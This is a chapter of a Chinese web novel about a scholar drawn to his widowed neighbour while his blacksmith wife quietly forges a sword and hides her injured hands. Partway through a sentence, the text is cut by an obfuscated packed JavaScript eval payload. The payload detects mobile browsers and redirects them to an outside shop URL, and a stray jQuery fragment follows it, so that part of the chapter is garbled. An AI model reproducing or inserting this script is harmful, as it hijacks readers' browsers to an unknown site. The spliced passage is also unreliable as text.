入秋之后，周砚书去隔壁的次数终于让柳含烟也觉出不对了。
那个傍晚他来借蜡烛，柳含烟递给他半截白蜡的时候，指尖在他手背上轻轻按了一下。周砚书抬头看她，烛光里柳含烟的脸微微泛着红，嘴唇抿了抿，欲言又止的样子。
"周相公，"她声音软得像化了的糖，"你……你常来我这儿，夫人不会不高兴吧？"
周砚书握着那半截蜡烛，心跳快了几拍，嘴上却说："她忙着打铁，哪有工夫管这些。"话一出口又觉得不妥，显得宋云铮很不堪似的，赶紧补了一句，"我的意思是，邻里之间正常往来，没什么。"
柳含烟低低"嗯"了一声，垂着眼帘摩挲自己的袖口，过了片刻才抬起头来，眼尾泛着一点潮红，轻声说："周相公不嫌弃我孤身一人，愿意常来坐坐，我高兴还来不及。"
说完这话她像是自己害了臊，转身快步进了厨房，留周砚书一个人在堂屋里站着。他手里攥着那半截蜡烛，蜡油滴在手背上烫了一下才回过神来。
那天他回去的路上满脑子都是柳含烟眼尾那点潮红和那句"我高兴还来不及"。
他把蜡烛搁在书房案角上，对着那半截白蜡看了很久。新蜡烛是他自己上个月从镇上买的，前几日刚点上，如今还剩大半截。柳含烟给了他半截——用过的半截，蜡身微微发黄，烛芯的焦黑还留着，显然是她自己平时点着用的那根。
她把自个儿正用着的蜡烛掰了一半给他。
周砚书把蜡烛拿在手里翻来覆去看了几遍，然后找了个空匣子把它装了进去，锁进了书箱里。
他自己也说不清为什么要锁起来。
秋天宋云铮又接了一批活计。镇上的铁器需求越来越旺，她一个人从早忙到晚也忙不过来，便开始琢磨着要不要招个帮手。她跟周砚书提了一嘴，周砚书当时在看书，头也没抬地说："你看着办。"
宋云铮就当真去招了。她在铁铺门口贴了张纸，写"招学徒一名，管饭给工钱，不拘男女"，落款是"宋记铁铺"。贴出去很久都没人来应聘，那张纸条就一直在那里铁着。
没人来帮忙，宋云铮非常忙，天天从鸡叫头遍干到半夜。这么忙她下了工也没觉着累，因为她又开始鼓捣那柄玄铁剑了。
玄铁料子是她托商队从北边捎回来的，贵得很，攒了小半年的工钱才买下那一截。
周砚书有一回看见了，问她这是在打啥。
"玄铁。"宋云铮把料子放进炉膛里，火舌卷上去舔着乌沉沉的铁面，烧了半晌才微微泛红，"掺了精钢打，能出好剑。"
"为何打剑？"周砚书虽然不清楚铁铺的生意，但是也知道剑这个不在铁铺生意里。
宋云铮没答话，只是盯着炉膛里那块渐渐烧透的玄铁，火光照着她黧黑的脸，把她眼底那点谁也看不懂的东西映得忽明忽暗。
她也不知道打这柄剑干什么。就是想打。
玄铁太难打，比寻常铁料硬得多，每一锤砸下去都震得虎口发麻。宋云铮的手腕从第二个月开始就隐隐作痛，白天抡锤还好，晚上收了工回到卧房，手腕酸胀得连枕头都扶不住。她没跟周砚书说她手的事，只自己拿布条裹了裹，第二天照常去铺子里。
打那柄剑耗时比预计长了一倍不止，工钱贴进去了不少，费料费工的，打了也没人买。
宋云铮就是觉得打完了心里舒坦。
她把烧红的玄铁夹出来搁在铁砧上，举锤砸下去，"铛"的一声火星四溅。
那段时间周砚书在家待得少。他时常下了学不着急回来，要么在县学跟同窗们多磨蹭一阵，要么就拐去柳含烟那儿坐坐。柳含烟待他越来越亲昵，开始留他吃饭，桌上虽然菜色简单，但做得精细——红烧肉切得方方正正一块一块码在盘里，青菜是翠生生的，米饭盛得松软恰到好处。
吃完饭柳含烟会给他弹琵琶。那把桐木琵琶被她拨出绵软的调子，勾勾挑挑的，像一只猫爪在心口来回挠。周砚书靠在椅背上闭着眼听，听完说好，柳含烟就红了脸笑。
有一回吃完饭天色已经全黑了，柳含烟留他再坐会儿，说给他沏新茶。周砚书说"好"，坐在堂屋里等着。柳含烟进厨房沏茶，许久没出来，周砚书等得奇怪，起身走到厨房门口看了一眼。
柳含烟站在灶台边，手撑着台面，肩头微微抖着，像是在哭。
周砚书心里一紧，走进去问："柳娘子，你怎么了？"
柳含烟被他进来吓了一跳，慌忙擦了擦眼角，勉力笑着说："没事，茶叶找不到放哪儿了……我真是笨，什么都做不好。"
她仰起脸来的时候，眼圈确实红了，鼻尖也泛着粉，但怎么看都不像是为了找不到茶叶哭的。周砚书伸手想去扶她肩膀，伸了一半又缩回来，站在原地手足无措。
柳含烟自己缓了缓，吸了吸鼻子，勉强笑着把他往外推："周相公回去吧，天不早了，再不回去夫人该着急了。茶叶下回再沏，下回一定找着。"
周砚书被她推出门的时候心里像堵了一团湿棉花。他回到自家院门口推门进去，宋云铮正在灯底下缝他破了的衣裳，见他回来眼皮也没抬。
"吃了？"
"……吃了。"
"隔壁？"
周砚书后背一僵，过了两息才"嗯"了一声。
宋云铮把最后几针缝完咬断了线，把衣裳叠好搁在椅背上，站起来拍了拍衣摆上的线头："厨房还有半碗粥，饿了自己热。"
她说完进卧房了。
周砚书站在堂屋里，看着椅背上那件缝补好的衣裳——袖口那道破口被密密的针脚补上了，用的线跟原来颜色一样靛青，不仔细看看不出来。针脚依旧粗笨，但牢靠得很，扯都扯不开。
他把那件衣裳拿起来摸了摸，手指顺着那些粗粝的针脚一路滑过去，滑到袖口最末一针打了个结的地方，那结小小的，圆圆的，像一粒硬了的米。
他忽然鼻子发酸。
那个结是宋云铮打铁时磨惯了的手打的，她那双粗黑嶙峋的手抓起绣花针时的样子他见过——笨拙、生硬、手指掐着针尾攒半天才扎进布里去。可她缝了三年了。他的衣裳破了全是她缝的，从没让他穿着破衣裳出过门。
周砚书攥着那件衣裳站了很久，最后把它工工整整叠好放回了椅背上。
第二天他下学回来经过巷口的时候，柳含烟正好在门口倒水。两个人隔着三步的距离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834927|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
碰了面，柳含烟看了他一眼，眼圈底下还有淡淡的青色，显然是哭过的痕迹。她低了低头，小声说了一句："周相公。"然后端着盆转身回了屋，把门关上了。
周砚书站在巷子里，忽然觉得不知所措。
他站在那儿发了会儿呆，然后推开自家院门进去了。宋云铮难得今天收工早，正在院子里核对账本。
周砚书走进来的时候她抬头看了他一眼。
秋天的风把墙角的枯叶吹得沙沙响，周砚书站在石桌边，宋云铮站在他对面，两个人之间隔着一张石桌和满桌的炭笔灰。
"今儿怎么回来得晚？"宋云铮把桌上的炭笔收进笔筒，随口问。
周砚书清了一下嗓子："县学那边有点事。"
宋云铮没追问。她收完东西转身往厨房走，走了两步又停下来，回头看了他一眼。那一眼很平常，跟看顾客、看任何人没什么两样，可周砚书被她那一眼看得心头发虚。
"柳娘子今天没开门。"宋云铮说。
周砚书心里咯噔一下："……你怎么知道？"
"我傍晚去镇上买盐，路过她门口关着的。"宋云铮说完就进了厨房，留下周砚书一个人站在院子里。
他站在原地，秋天的风灌进领子里，凉飕飕的。他看着厨房里亮起来的灯火和宋云铮在灶台前忙碌的影子，忽然觉得自己站在一个很奇怪的地方——明明这是他家，可他像个外人一样被晾在了这里，进不去也走不了。
那天晚上吃饭的时候他主动说了一句："云铮，你的剑打得怎么样了？"
宋云铮夹菜的筷子顿了一下。这是他头一回主动问起那柄玄铁剑，成亲三年头一回。
"快打好了。"她答。
"嗯。"周砚书低头扒饭，又补了一句，"打好了给我看看。"
宋云铮看了他一眼，那目光里有一点很浅很浅的东西在动，像深水底下被什么搅了一下，但很快又沉回去了。她"嗯"了一声，继续吃饭。
两个人都没再说话。
那晚周砚书进书房之前，在卧房门口停了一下。宋云铮正在解手上的布条——打玄铁剑磨出来的伤，十个指头裹了八根。她解布条的动作很慢，一圈一圈拆开，露出底下紫红紫红的皮肉，有几处已经结了痂，有几处还沁着淡黄的汁水。
周砚书站在门口看着她拆布条，喉咙像被什么堵住了。
他想走进去，想问她疼不疼，想握住她那双伤痕累累的手。可他的脚钉在门槛外面，怎么也抬不进去。他就那么站着，看着宋云铮把所有布条拆完，拿药膏抹了抹伤处，又换了新的干净布条重新裹上，一圈一圈缠得仔细又利落。
她全程没抬头看他一眼。
周砚书最终什么也没说，退后一步把卧房门轻轻带上了。
书房里灯亮着。他坐到书案前翻开了一本书，一个字也看不进去。满脑子都是她解布条时那双手——黑的、紫的、旧的茧叠着新的痂，一层一层裹在十个指头上，像十个小小的坟包。
他闭上眼。
隔壁传来了琵琶声，断断续续的，弹了两句又停了，像是弹琴的人心不在焉。
周砚书睁开眼，把书合上了。